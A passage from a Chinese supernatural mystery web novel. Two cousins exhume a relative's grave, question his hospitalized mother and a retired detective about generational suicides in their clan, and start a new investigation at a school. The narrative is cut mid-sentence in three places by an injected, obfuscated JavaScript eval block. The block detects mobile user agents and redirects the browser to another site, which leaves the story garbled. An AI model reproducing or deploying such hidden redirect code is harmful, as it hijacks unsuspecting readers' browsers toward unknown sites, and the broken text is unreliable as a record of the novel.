有一天她在回家的路上摔了一跤,在医院住了一个多月,所有人都觉得这老太太是不行了,但她硬是挺了下来,出院的那天,她说了一句话,庄万桉已经很久没听到她说话了,她没有牙,所有人都听不清她在说什么,庄万桉离得最近,他猜母亲应该说的是“我还没有等到。” 这句话没头没尾,庄万桉估计自己是猜错了,但母亲真正想说的是什么,他并不想要知道。 从医院出来后,曾祖母走不了路了,但她仍然要坐在院门口望着。 有一天早上,曾祖母突然又说了一句话,她说:“要回来了。” 这句话同样是庄万桉猜的。 就在这一天,庄辰岚出生了,曾祖母看到襁褓中的她,突然就哭了起来,那宛如干涸土地般的眼睛中居然流下了两行泪水,她念着“阿瞒,阿瞒……” 这句话比任何时候都要清晰。 于是“阿瞒”便成了庄辰岚的小名。 当天晚上,曾祖母就去世了。 她走之前摘下了一直带在头上的银制蝴蝶抓夹,放到了庄辰岚小小的手里。 银制蝴蝶折射出淡蓝色的月光,照在漆黑的牌位上,庄辰岚把它们摆好,觉得光秃秃的也不是那么回事儿,就在每个牌位前放了个酒杯,可家里也没酒,她就一人倒了杯可乐。 “那个,我想了想还是跟你一起去吧——喂你在给你妈上供什么?” 庄海月的声音从背后传来,庄辰岚摇了摇手里的可乐罐:“可乐。” “哇,你可真是个大孝子。” 庄辰岚道:“你怎么突然改变想法了?不会又是卦象给你的指引吧?” “我哪有这么冷漠无情,”庄海月道,“我想啊,辰星怎么着也算是我堂弟,他死的冤枉我也义不容辞。” 庄辰岚道:“你妈出差还没回来?” “早着呢,没个十天半个月回不来。”庄海月一屁股坐在沙发上,“我们都是留守儿童啊,不该抱团取暖吗?” “我知道你为什么来了,”庄辰岚道,“你个胆小鬼不敢自己一个人呆家里。” 庄海月咂嘴:“有时候朋友太聪明了我也很头疼,要是哪天我们成为敌人了可怎么办。” “如果真有那天,我是不会手下留情的。” 庄辰岚把铁锨口罩电筒等又检查了一遍,确认无误后,把书包扔给庄海月:“开工。” 庄海月懵了:“啊?这么快?” 她转念一想:“我说,你不会是专门在等我吧!” —— 凌晨的南华村一片漆黑,只有微弱的路灯照着大道,院子与院子之间形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091240|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成的胡同小道伸手不见五指。 庄海月抓着庄辰岚的衣服后摆:“大晚上的还真有点吓人,喂你别走这么快!” 庄辰岚道:“不走快点天亮都干不完。” 快要走到后山墓地的时候,庄海月越来越害怕了:“等等等你给我一点缓冲的时间。” 庄辰岚停下脚步:“你实在害怕就回去吧。” “你这不是废话吗,我怎么可能敢一个人回去啊!” 庄辰岚道:“这都是庄家的祖先,他们不会吓你的。” “草,是谁我也害怕啊,”庄海月深吸一口气,豁出去似的:“走走走!赶快走!早死早超生!” 二人走到庄辰星的墓前,夜晚的墓地一片漆黑,唯一可以看见的,是前几天出殡留下的招魂幡和白纸铜钱,远处不时传来各种动物咕咕嘎嘎的叫声。 庄辰岚把手电筒递给身后紧贴着自己的庄海月:“你打着电筒,我来挖。” 可手电筒半天没有被接住的迹象。 “接住啊?” “不行不行,”庄海月把整张脸埋进庄辰岚背后:“我不敢看。” “这儿没什么东西,你不敢看什么。” “我就是很害怕夜晚的墓碑啊棺材啊什么的,就算是空的也害怕。” 庄辰岚无奈道:“那你这样贴着我也没办法挖啊。” “这样,”她灵机一动,把庄海月领到一处空地,又把手电筒打开塞她手里:“你就在这站着,也不用睁眼,一动不动就行,就当自己是个雕像。” “不行不行,”庄海月在原地抱住自己,“身边空无一物我好没安全感。” 庄辰岚烦躁道:“你是不是来耽误我的,再废话我就把你一个人扔这儿。” “别别别,我举,我举还不行吗?” 就着手电筒的光亮,庄辰岚一铲一铲的开挖,不知道挖了多久,她终于铲到了一个硬物。 庄海月道:“还没好吗,我手都要酸死了。你不累吗?要不我们歇会吧。” “你再坚持一会儿,已经挖到了。” 庄辰岚加快速度,待棺材板整个露出来,她就把铁锨一扔,坐在地上咕咚咕咚喝了一大瓶水。 庄海月眯缝着眼睛,又紧紧的闭上:“我去,真的挖出来了。” 庄辰岚拿出钳子,开始撬棺材上的钉子,可这钉子又粗钉的又深,庄辰岚拔了半天没拔出来。 “怎么了?” “钉子拔不起来,只能把棺材盖劈开了,”庄辰岚道,“但这样声音也太大了。” “那咋办?” 庄辰岚横下心来:“不管了,再说就算被发现又怎样,还能杀了我。” 她在心中默念“裂骨”,血镯便化作一道红光,在她手心幻化成一把血红色的斧头。 庄海月大吃一惊,还没来得及细问,庄辰岚手起斧落,咔嚓一声,棺盖一分两半。 庄海月赶紧捂住了自己的眼睛。 庄辰岚把破裂的棺材板踢开,棺材内庄辰星的尸体未完全腐烂,仍然是人的形状。 庄辰岚的心脏跳的极快,她将斧头放在庄辰星尸体上。 一阵红光亮起,片刻后又消失了。 “海月。” 她的声音发紧,好像在极力压抑着什么。 庄海月把手放下来,却仍然半眯着眼睛:“怎么了?” 庄辰岚指了指棺材内,她表情十分严肃,庄海月便快速往里瞥了一眼,瞬间呆住了。 那具棺材里哪还有什么尸体,只剩一滩黑色的宛如沼泽一般粘腻浓稠的液体。 23.竹马之死2 庄海月看着棺材里的黑色液体:“这,这是什么?” “我也不知道。” 庄辰岚带着手套,她用食指挖起一部分,凑到眼前。 “喂你别随便动啊。” 黑色的液体到空气中后有些发干,她凑到鼻子边闻了闻。 庄海月露出扭曲的表情。 “一股土味儿。”庄辰岚道。 “不会也是泥吧。” “有可能。” 庄辰岚随身带了一个铁盒,她往里面装了一部分,然后紧紧盖上盖子:“趁天没亮,赶紧把棺材埋了。” 她把另一把铁锨扔给庄海月:“快点,咱们俩一起。” 两人一直忙活到天光微亮,本以为此趟万无一失,可就在马上到家的路上,跟万村长碰了个正着。 “辰岚海月,你们怎么从这边儿过来了?” 庄辰岚庆幸自己刚才把铁锨手套螺丝刀等都扔进了后山,不然现在简直百口莫辩。 不等她说话,万村长又道:“去看辰星了?” 庄辰岚赶紧点了点头。 万村长叹了口气,随后又像突然注意到什么:“你俩这怎么弄了一身泥啊。” “啊,”庄海月道,“我俩路上不小心摔了一跤。” “哎呦,我说呢,下次晚点儿再去,冬天天亮的晚,看不着路。” “好嘞。” 万村长又叹了口气:“唉,也不知道怎么回事儿,哪代都有。” 刚要离开的庄辰岚停下脚步:“万奶奶,这话是什么意思?” 她又看了看庄海月,对方也是一脸疑惑的样子。 万村长道:“我也就跟你们两个说说了,你俩可别往外说——咱们家每一代,都得自杀个年轻人,也不知道是怎么了。” 庄辰岚和庄海月皆是一惊:“每一代?!” “也不是说每一代吧,太早的我也不知道了,但就我见过的,到辰星是第四个,”万村长掰着指头,“上个是你年宇叔,上上个是辰东他二爷,上上个还有个老奶奶,你俩估计听都没听过,走的时候都不到二十岁,昨天还好好的呢,嘎巴一下,说自杀就自杀了,你说这个怪啊。” 庄海月道:“没找人看过?” 万村长道,“本来我也没多想,天下什么事没有,但辰星又出了这事儿,都第四个了,这不乱想也得乱想了。” 庄辰岚和庄海月对视一眼,一丝怪异浮上二人心头。 告别万村长,庄海月道:“突然有点儿意思了,你接下来要干什么,我奉陪了,陪你查到底。” “你不怕折寿了?” “折就折,大不了就去借命喽。” “你还会借命?” “不会不会,我口嗨啦,”庄海月道,“别说这个了,接下来去哪?” 庄辰岚道:“我想去问问赵阿姨,不知道她现在精神状态怎么样?” 庄海月道:“出殡那天她不是去了吗,出院了就应该是好了。” “就怕我们突然一问又刺激到她。” 但即使是这样,她也一定要做。 二人来到庄辰星家门口,敲了敲大门。 庄海月道:“现在天才刚亮,是不是有点早?” “你不早说,我都敲了。” 门后响起了脚步声,庄年良的声音传来:“谁啊?” “是我,年良叔。” “哦,是小岚啊。”庄年良打开大门,“小月也来了。” 庄海月打了个招呼:“年良叔好。” 庄年良招呼二人进房间,从冰箱里拿出一堆水果,又从卧室里拿了几盒牛奶:“来这么早,吃饭了吗,在叔这里吃点。” 庄海月道:“年良叔你别忙活了,我们想吃就自己拿了。” 庄年良看起来瘦了很多,庄辰岚上次见到他时,他还只有几根白头发,仅仅数天的时间,白色就已经遍布了他所有发丝。 庄辰岚道:“赵阿姨最近怎么样?” “又回医院了,不过比之前好多了,你们不用担心。”嘴上这么说着,但庄年良还是微不可察地叹了口气。 庄辰岚道:“那赵阿姨现在在哪个医院呢?我们去看看她。” “还在清平那个精神卫生院呢,别去了,里面吓人呢,你们两个小姑娘看了害怕。” 庄海月道:“没事,都是人有啥吓人的。” 二人又跟庄年良寒暄了几句,然后打车前往清平精神卫生院。 庄海月道:“年良叔和赵姨真挺惨的,中年丧子,还是独生子。” 庄辰岚道:“我们现在查出来下葬的只是替身,那么辰星本人会不会根本没死?” “希望不大,他不都跟赵姨托梦了吗。” 看到庄辰岚落寞的表情,庄海月又改口道:“不过凡事皆有可能,没有消息就是最好的消息,或许他真的没死也说不定。” 庄辰岚没有回话,她推开卫生院的玻璃门道:“先进去吧。” 精神病院的大厅与普通医院并没有什么不同,墙上挂着许多关心心理问题的宣传海报,庄辰岚她们乘上电梯前往庄年良说的七楼病房。 刚刚还说没什么不同,可随着电梯上升,两人都听见了若有若无的各种各样的叫声。 庄辰岚道:“这都是什么声音?” 庄海月道:“楼上是住院部,里面都是精神病人,你说是什么声音。” “哦我想起来了,你上次来过一次,”庄辰岚道,“那一会儿上去之后你带路。” “没问题。”庄海月说着,便站到电梯门口。 七楼很快到了,电梯刚刚打开一条缝,一个人脸便猛地贴过来。 庄海月失声尖叫,疯狂后退,头顶咚得撞在庄辰岚下巴上。 人脸的主人是个约莫三十岁的女人,她蓬乱着头发,穿着蓝白病服,嘿嘿嘿盯着她们傻笑。 庄海月喊道:“你吓死我了!” 两位医护人员跑过来,一人拉着女人一个胳膊,把她从电梯门口拉开,然后满脸歉意的给她们道歉。 可穿着病号服的女人突然挣脱护士,又朝着电梯内冲去,她站在电梯里不按按钮也不关门,只是一下一下的蹦来蹦去。 而且她蹦起来的动作也十分奇怪——她的腿不打弯,跟香港电影里的僵尸似的。 庄海月喊道:“别跳啊,电梯会掉下去的!” 庄辰岚走进电梯,用带着血镯的手在她肩上拍了拍,女人便停止了跳跃,转而晕了过去。 她扶着女人倒下,对被推倒在地的护士道:“你们扶她去病房吧。” 护士们看着这个祖宗终于消停下来,纷纷松了口气,几个人驾着胳膊把她抬回了病房。 庄海月凑到庄辰岚身边:“怎么回事,你把她弄晕了?” “不是,她肩膀上坐着一个女鬼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097143|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>庄海月失声道,“什么?!” 庄辰岚道:“你知道她为什么在电梯里跳吗?” “我不想知道!” “因为那个女鬼在抓着她的脖子往上提,所以她才会跳的那么奇怪。这个电梯以前出过事故,那个女鬼是砸在电梯天花板上死的。” “我不是说我不想知道吗!” 庄辰岚环顾这精神病院的七楼住院部,看到不少游荡的孤魂:“心情低落的人容易招不干净的东西,久而久之便会恶性循环。” 她没打算把它们都收了,又没钱拿,这种赔本的买卖她可不干。 庄海月带路前往赵梅所在的病房,走廊里有许多穿着同样蓝白条纹病号服的人,他们全都目光呆滞,因为攻击性但凡强一点儿的早就被束缚带捆在了床上。 透过敞开的病房门,庄辰岚看到他们在床上痛苦的扭曲喊叫。 跟他们一比,赵梅简直像被按了静音键一样——她蜷缩在床上,看到庄辰岚和庄海月,也只是勉强笑笑,打了个招呼。 庄海月道:“赵阿姨,你最近好吗?” “还行,一直都那样。” “那就好,哈哈。” 一阵沉默。 庄辰岚道:“赵阿姨,你没在做噩梦了吧?” “......没在做了,我再也看不到他了。” “您觉得那些是真的吗?” “当然是真的!他怎么可能会自杀!”赵梅的音调突然拔高。 旁边的护士赶紧对她们道:“你们不要说些刺激患者的话。” 赵梅阻拦道:“没事!没事!你让我说!” 她道:“辰星是被杀的!辰星是被杀的啊!” 庄辰岚赶紧问道:“被谁杀的?” “被谁?”赵梅恍惚了一瞬,然后喊道:“庄盛余!对!就是她!庄盛余!” “什么?!”两人都吃了一惊。 盛字辈?!这都得二百年了! 庄辰岚道:“赵阿姨,这不太可能啊,盛字辈的人早就死了!” “就是她!你们为什么不相信我!我儿子给我托梦了!” 护士一拥而上:“患者,冷静点!” “小岚啊!”赵梅推开护士,突然从床上冲下来抓住庄辰岚的胳膊,“你跟辰星一块长大,你要替他报仇啊!他们不信我,你就去跟警察说!让他们重新调查,不能让他逍遥法外啊!” 几个护工跑过来把赵梅按回床上,她还在冲庄辰岚大喊:“你相信阿姨!去找警察!去找警察啊!辰星死的冤啊!” 庄辰岚还是第一次看到赵梅这个样子,印象里她总是一副温和又从容的模样,不禁愣住了。 护士对二人道:“患者状态不好,你们先回避下吧。” 庄海月也被赵梅吓了一跳,她拉着庄辰岚往外扯:“快走吧快走吧。” 二人离开病房,庄海月道:“现在去哪?回村还是去警察局?” 庄辰岚道:“庄盛余?这都得快二百年了吧。” 庄海月道:“你还真信啊?” “但这是目前唯一的线索。” “慎重啊,这可是精神病人说的话,来源还是托梦,这种站不住脚的线索,说不定查着查着就掉沟里了,小心别被误导。” “你说的有道理,”庄辰岚道,“那现在就去看站的住脚的线索吧。” “你打车,去警察局。” 24.竹马之死3 工作日的清平公安局内井井有条,庄辰岚攥紧了兜里的皮夹,有些惴惴不安。 “你说小县城公安局里的人会认识这个证件吗?会不会被当成神经病抓起来?” 庄海月突然激动道:“你不敢就让我来!出示证件这动作也太中二了,我喜欢!” 说着,她就嗖得掏出证件,对着空气展示:“Heavenly Questions,Open the door!” “……很好,你一会儿就这么说吧。” 庄海月撩了一把刘海:“呵呵,那是必然。” —— “二位到底有什么事儿?”一个警官在两人面前挥了挥手,“能听见吗?” 庄辰岚盯着庄海月,满脸写着:“快出示证件啊!” 庄海月盯回去,满脸写着:“我不好意思啊!” 庄辰岚又盯回去:“你刚才怎么说的,属狗肉的上不去桌。” 尽职尽责的警员依旧道:“难道不能当面讲?需要私人空间?” “咳咳,”庄辰岚看着疑惑的警员,“呃,你知道天问吗?” “什么?” 庄辰岚把心一横,掏出证件:“我们是天问的调查员,请协助我们调查。” 对面的警员瞪大眼睛,接过证件看了好一会儿,在这期间在场的其他警员也凑了过来,他们围在一起窃窃私语,时不时抬起头看一眼庄辰岚她们,表情十分怪异。 庄海月压低声音道:“这到底是知道还是不知道?” “闭嘴,你个临阵脱逃的逃兵。” 警员把证件还给庄辰岚:“不好意思,看的有点久,我们还是第一次见到活的天问的人,那个,我带你们去见局长吧。” 庄辰岚道:“警察都知道天问的存在吗?” “应该是知道吧,警察学院有告诉我们过,看到天问的人,就要无条件配合他们的调查,不过你们真的是调查超自然事件的吗?都查过什么啊?难道你们真的都有特异功能?” “呃,这个,”庄辰岚道,“不方便透露。” “哦哦哦,不好意思,是我多嘴了。”警员在一扇门前停住了脚步,“这就是局长办公室了。” 警员给局长说明了情况,这个头发花白的局长看起来也是十分吃惊,他道:“天问的人怎么会来这里?” 庄辰岚道:“你还记不记得前几天清平一中一名高中生跳楼自杀的案件。” 局长想了想,问身边的警员:“有这个案子吗?” 警员回道:“有,是曾队长负责的。” 庄辰岚道:“当初就是他在快要结案的时候要求重查?” 警员点了点头:“对,是他。” 局长道:“这个案子怎么了?” 庄辰岚言简意赅道:“有蹊跷,负责这个案子的警员我要一个个传讯。” “不需要警员重新调查吧?” “这个倒是不用,你们只需要配合我就可以。” 局长对警员道:“听到没,还不把负责这个案子的警员都叫过来。” 警员道:“可是曾队已经退休了啊,您忘了吗,这是他退休前最后一个案子。” “啊,是我糊涂了,”局长又对庄辰岚道,“那你们是来的不巧了。” 庄辰岚道:“那您能告诉我们这个退休的曾队长住哪吗?” 局长又对警员道:“去查,查完告诉她。” 趁着警员去查人事资料的空档,庄辰岚和庄海月来到资料室查看庄辰星案件的卷宗。 庄海月看着看着,突然把卷宗扔出去:“卧槽,这上面有尸体的照片!” 庄辰岚放下资料:“你看到有用的信息了吗?” 庄海月惊魂未定的揉了揉心脏:“没有。” “我这边也没有——警员就不用问了,估计他们知道的也就这些。” 这样一来线索只剩下那个退休的曾队长了。 这时,警员小跑进来,对二人道:“查到了,曾队曾建国现在住在清平市三福小区五单元五楼,局长已经打电话通知过他了,你们直接去就可以。” 三福小区是清平运河边一个很旧的小区,连电梯都没有,说好听点是有千禧复古感,说难听点就是老破小。 五楼是小区内最高的楼层,庄海月爬上来后已经气喘吁吁了。 “这里的人…到底是怎么…每天爬五楼的?” 庄辰岚敲了敲门,里面很快就传来脚步声,开门的是一个穿着秋衣的老人,头发黑白夹杂,带着眼镜,一副文员气质,很难相信居然是名刑警。 曾建国把眼镜往上推了推,想更清晰的观察两人:“从进刑警学校起就听学长们说有一个叫天问的神秘组织存在,我干了四十年一直想见也没见着,没想到退休之后又见到了,有时候命运也挺有意思的。” 庄海月道:“您是个刑警,居然也相信命运吗?” 曾建国笑道:“我都六十了,再不信命也得信喽。 他道:“我还听说,你们组织里的人都不是普通人,都有特异功能,还有妖怪和鬼神?真的吗?” 庄辰岚点了点头。 庄海月补了一句:“神没有,神经病倒是有一堆。” 曾国强瞪大眼睛:“那二位是?” 庄辰岚道:“你放心好了,我们都是人类,也没什么特异功能。” “保密,哈哈,我了解,”曾建国道:“我还是学生的时候,我们学校的老师据说见过天问的一个成员,回来之后激动的到处说,说是那人有一头白色的头发,脸也特别白,跟死人似的,还能捉鬼,有这个人吗?” 庄辰岚脑中迅速浮现出迟予知的样子,点了点头。 曾建国又是一惊,还想再说,庄辰岚赶紧打断他:“好了大爷,我们先说正事儿吧。” 曾建国连道:“好好好,唉,不好意思啊,见到传说中的组织了,有点激动。” 庄辰岚道:“听说您在快要结案时发现死者父亲庄年良情绪不对,因此才选择重审,对吗?” 曾建国道:“不只是这样。” 庄辰岚讶然道:“还有什么不对?” “是我自己不对,”曾建国叹了口气,“那时候我突然想起来一个后辈,他也是突然自杀身亡的,而且他也姓庄,住在庄家村,叫庄年宇,是那个跳楼男孩的表堂叔。” 听闻,庄辰岚和庄海月皆是一惊。 庄辰岚道:“您继续说,那个庄年宇,他是怎么回事?” 曾建国道:“年宇是个活泼开朗的小伙子啊,刚从刑警学院毕业,但却在执行任务的时候突然开枪自杀,把枪塞进嘴里,整个脑袋都没了,他当时才二十岁。” 庄辰岚道:“他脑袋的破损程度,是不是远超正常情况下吞枪自杀的破损程度?” 曾建国道:“真是奇了,你怎么知道?” 庄海月道:“您觉得这两件案子有联系?” “如果我说有联系,我们刑警队的估计要笑掉大牙了,毕竟两个相隔几十年的自杀案,怎么可能会有联系?” 庄辰岚道:“但是您还是选择了重审。” “你就当是一个马上要退休的刑警的小小的任性吧。” 庄辰岚道:“那您怎么看待庄年良的证词——有关托梦的那些。” 曾建国沉默了一会儿,这才开口道:“如果我现在刚毕业,肯定会毫不犹豫地说这是假的,但现在我已经六十岁了,只能说冥冥之中有些力量是我们无法理解与掌控的,我只能尊重,然后敬而远之,所以我最终没有深究,选择了结案。” 庄辰岚道:“那庄年宇自杀的具体情况,您还有印象吗?” 曾建国低头盯着摩挲的手指,陷入了回忆:“那得是三十年前了,我带领一个刑警小队突袭进入银行,要从一群抢劫犯的手中解救人质,银行外有别的小队跟恐怖分子谈判, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102310|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们的任务是秘密靠近,趁机控制他们,可就在这时候,庄年羽突然毫无征兆地吞枪自杀,枪声惊动了恐怖分子,他们发现了我们,以为警察放弃谈判选择直接击毙,走投无路下跟我们鱼死网破,在银行里开始枪战,人质死伤惨重,当时的小队,也只剩我跟另一个人活着回去了。” 庄辰岚道:“那你们后来怎么处理的庄年宇这件事?” 曾建国道:“当时的处理结果是,庄年宇刚刚毕业就参加反恐事件,压力过大,精神紧绷,这才选择了自尽——不过直到现在我仍然觉得这个结果,很难让人信服。” “您觉得他不可能自杀?” “绝对不会。”曾建国道,“刚当上刑警的他对未来还有很多憧憬,还有很多理想没有完成。” 跟想当医生的庄辰星一样。 他颤颤巍巍拉开书桌的抽屉,从里面拿出一张照片,那是一张合照,最下面是合照人的名字。 “画了红圈的,就是那次行动中牺牲的刑警。” 曾建国给庄辰岚指庄年宇的位置,但她却注意到了画着红圈的另一个熟悉的名字——秦九。 —— 从曾建国家出来,庄海月道:“线索到这儿就断了,接下来往哪查?你不会要把那个叔叔的坟也刨了吧?” “没必要,他肯定也是跟辰星同样的情况,”庄辰岚道,“不过这个幕后黑手的目的是什么,怎么老是揪着我们家的人祸祸。” 她道:“现在只能追着庄盛余这条线查了——不过家族里到底有没有这号人?” 庄海月道:“这还不简单?去祠堂看看牌位不就知道了?。” 二人查了一圈又回到南华村,来到逍遥堂,却意外发现了正跪在罗浮像前念经祷告的万村长。 她正拿着两个红色的茭杯,双手合十,喃喃念叨一阵后问道: “罗浮真君,是我们哪里做的不好,让您不满了吗?” 茭杯掷下,两个反面——否。 “我们的家族,被诅咒了吗?” 茭杯再次掷下,两个反面——否。 看到这个结果,万村长长长舒了口气,深深叩首,然后站了起来。 庄辰岚走上前:“万奶奶,我能问一个问题吗?” 万村长把茭杯给她:“只能再问一个,我有事先走了,一会儿你记得把茭杯放回供桌上。” “好。” 庄辰岚一手拿着一个茭杯,学着万村长的样子,跪在地上,双手合十,无比虔诚地在心中问出了那个问题: 庄辰星还活着吗? 茭杯掷下,在地上摔成两个反面——否。 庄辰岚站了起来。 “你问的什么?” “辰星有没有死。” 庄海月拍拍她的肩膀,“你也节哀顺变吧。” 二人走上左右两个楼梯,来到第二排写着“盛”字的牌位桌前,一人一头,逐个检查起来。 庄盛利,庄盛满,庄盛宣……都不是。 “岚岚!找到了!” 庄海月指着面前的牌位:“真的有叫庄盛余的!” 庄辰岚连忙小跑过去,那个牌位已经很老了,上面的小字也已看不太清,唯有“庄盛余”三字仍然十分清晰。 两人愣在原地大眼瞪小眼,在妄语得到验证的瞬间,庄辰岚内心升腾起一阵荒诞的恐惧感。 庄海月道:“其实这也说明不了什么,赵阿姨也来过祠堂好多次了,会不会是她偶然记住了这个名字,思维混乱的时候就脱口而出了?” 然而这只是最唯物的情况。 但无论是真是假,单凭她们二人的力量,这件事无疑很难再往下继续推动了。 就在这时,灵端突然滴滴作响,发布了任务简报: 编号1037 悟城二中狭间消除任务 执行人员:庄辰岚,迟予知 请调查员尽快确认。 25.悟城二中1 “啧,怎么在这个时候。” 庄辰岚点开任务详情: 编号1037 【悟城二中狭间消除任务】 执行人员:庄辰岚,迟予知 狭间出现的时间及地点:有一定几率出现在月圆之夜的悟城二中教学楼四楼走廊。 狭间侵入体:不明,疑似存在于悟城二中高二学生冯小宇体内。 可能有所帮助的资料: 1.旧土论坛帖子【求助,我的同桌在一次探险后好像变了一个人】 2.悟城二中校园怪谈 任务目标: 无论何种手段消除狭间。 庄辰岚正对一些任务提示怀有疑问,正巧迟予知打电话来了。 “喂?看到任务了吗?” “嗯,有些地方看不懂。” “不懂就对了,”迟予知道,“你现在在哪,我去找你。” 庄辰岚道:“我这边有点事,任务能不能暂缓几天?” “您搁这儿说梦话呢?”迟予知道,“绝对没可能。” “好吧,”庄辰岚道,“那就去悟城二中集合?路费报不报销?” “不用,你说一个离你最近的标志性建筑,用缩地千里符,我一秒就能到。” “缩地千里?那,你就来南华村正大门吧。” 放下电话,庄海月幸灾乐祸道:“你要跟那个封建余孽一起出任务?啧啧啧,太惨了。” “封建余孽?” 庄海月道:“他爷爷是清末的淳亲王,王位世袭,他就是最后一代淳亲王——调查一下同事的家庭背景还是很有必要的。” 怪不得迟予知对人总是颐气指使的。 庄辰岚打开灵端,在百度输入“迟予知”,然后回车: 迟予知,生于清末民初,卒年不详,祖父为宣威将军、淳亲王富察傅祥,圣上赐宅敕造宣威府,母亲为傅祥独女富察姮青,父亲为封建王朝最后一个科举状元迟光,有一同父异母的弟弟迟君行。 傅祥十分疼爱这个孙子,在其满月礼时将淳亲王的爵位承袭给他。 关于迟予知这个人其实并没有多少记载,她又返回往下划了划,谁知下面一条竟是: “维护共和,迟君行大义灭亲”。 还没来得及点进去,迟予知的电话就来了:“喂?你到底来了没?老子都在外面站半天了!” “来了。” 她挂掉通话,对面庄海月突然道:“等下,我有个问题想问你。” “什么?” “你为什么不去上学啊?” “我没告诉你吗?我退学了。” “哈?”庄海月大吃一惊,“这么干脆?那你本来打算退学干什么?” “还能干什么,当然是赚钱啊。” “不对,你现在整个人气质都不对,你肯定是在学校里发生了什么?” “那你就自己推理吧,black neko老师。” 庄辰岚刚走出大门,就看见迟予知蹲在墙跟的阴影里,跟个二溜子似的。 看见庄辰岚,他也不站起来,只是道:“给我指指,你哪不懂?” 庄辰岚站在他旁边,重新打开任务页面:“狭间出现时间和地点这个知道,只是那个侵入体……” 她话还没说完,迟予知就突然拉着她的裤腿往自己面前拽:“你站我前边给我挡光,真是,大冬天这么大太阳——你说哪个不明白?” “……侵入体是什么?” “我之前不是跟你说过吗,”迟予知懒洋洋道,“狭间产生的原因是异世界的东西到了我们的本世界,侵入体就是那个异世界的东西。” “直接就给出来了?我还以为得自己查呢。” “那得查到猴年马月啊。” “还有个问题,入侵体疑似在他体内,这是什么意思?” “我怎么知道他往自己身体里塞了什么啊?” 庄辰岚道:“那接下来要做什么?” “任务简报里的那些资料你看完没?那都是能点进去的。” 他拉下庄辰岚的灵端,点了一下【求助,我的同桌在一次探险后好像变了一个人】,页面果然跳转到了旧土论坛的这个帖子。 “求助,我的同桌在一次探险后好像变了一个人” 发帖人:小甜水重度依赖 1L(楼主)小甜水重度依赖: 如标题,我的同桌在悟城二中探险回来后就像变了一个人,不是说性格变了,而是感觉身体里直接换了一个人。我跟他是发小,从小就在一起玩,熟的不能再熟,他平时心情稍微不好我都能看出来,所以我能感受到回来的这个绝对不是他! 2L小蚂蚁11: 天哪,太可怕了,能仔细说说吗? 3L(楼主)小甜水重度依赖: 我举一些例子,最明显的就是我同桌从二中探险回来后就变成了左撇子,而且总是摆出一副趾高气昂的表情,好像看不起我们所有人,跟他说话也爱答不理的,还会做平时绝对不会做的事,比如他开始吃以前绝对不会吃的蔬菜。 不仅如此,他还忘记了很多过去的事,一开始我以为他记性不好,但后来他忘得越来越多,甚至连我们初中最好的朋友都忘记是谁了。 我问了一些跟他比较熟悉的同学,他们也觉得我同桌跟以前不同了。 4L鼠鼠我啊: 听描述像是被什么东西上身了,楼主能私发我一张近期同桌的照片吗? 5L无所畏惧: 哪有这么邪乎,相比于你同桌楼主你才是最神神叨叨的那个吧,肯定就是生活中出了变故或者突然长大了性格变了,我小时候就这样,某一天突然想清楚一些事,从那一刻起整个人都变了,要是我知道有人跟楼主一样背后说我壳子里换了一个人,我真的会笑死。 6L(楼主)小甜水重度依赖: 他家没发生什么变故,我说了我跟他是发小,平常就无话不谈,我爸妈跟他爸妈也是朋友,按理说就算家里发生什么他爸妈不好意思说,他也会私下偷偷跟我说的。 算了,我再说详细一点吧,我同桌之前是一个很冷静的人,只对灵异话题感兴趣,平时一起出去玩都兴致缺缺,但最近他变得特别爱去游乐园,电动城和电影院之类的,去餐厅吃个饭都很激动,好像小婴儿一样,对什么都很新奇。 还有一点就是他变得特别不守规矩,逃课,闯红灯,夜不归宿等都成了家常便饭,有时候老师在讲课他都会直接站起来出去,好像理所当然一样。我觉得他好像不是很能理解“规矩”或者说是“法律”这个概念。 之前我不是说他忘记了很多事吗,有一次我瞎编了一个故事,说是我们以前发生过的事情讲给他听,没想到他居然以为是真的,还顺着我的话题继续往下讲,那时候我整个人汗毛都竖起来了。 7L一般路过: 我汗毛也竖起来了,这绝对一定百分百是有问题。 8L五蚂蚁: 其实我有个问题想问很久了,悟城二中和探险这两个词语是怎么组合到一起的? 9L(楼主)小甜水重度依赖: 我跟我同桌就是悟城二中的学生,最近学校里有个校园怪谈,说是悟城二中里还存在另一个陌生的世界。我同桌是个重度灵异爱好者,他一开始让我跟他一起去,但是我比较胆小,他就在上个月十五号约另一个人去了。这个人我打听过,他在这次探险回来后就一直住在医院里,听说出现了幻视和幻听,总之是不允许人探望。 10L小蚂蚁11: 这么重要的事你怎么现在才说?!这绝对是你们学校有问题啊! 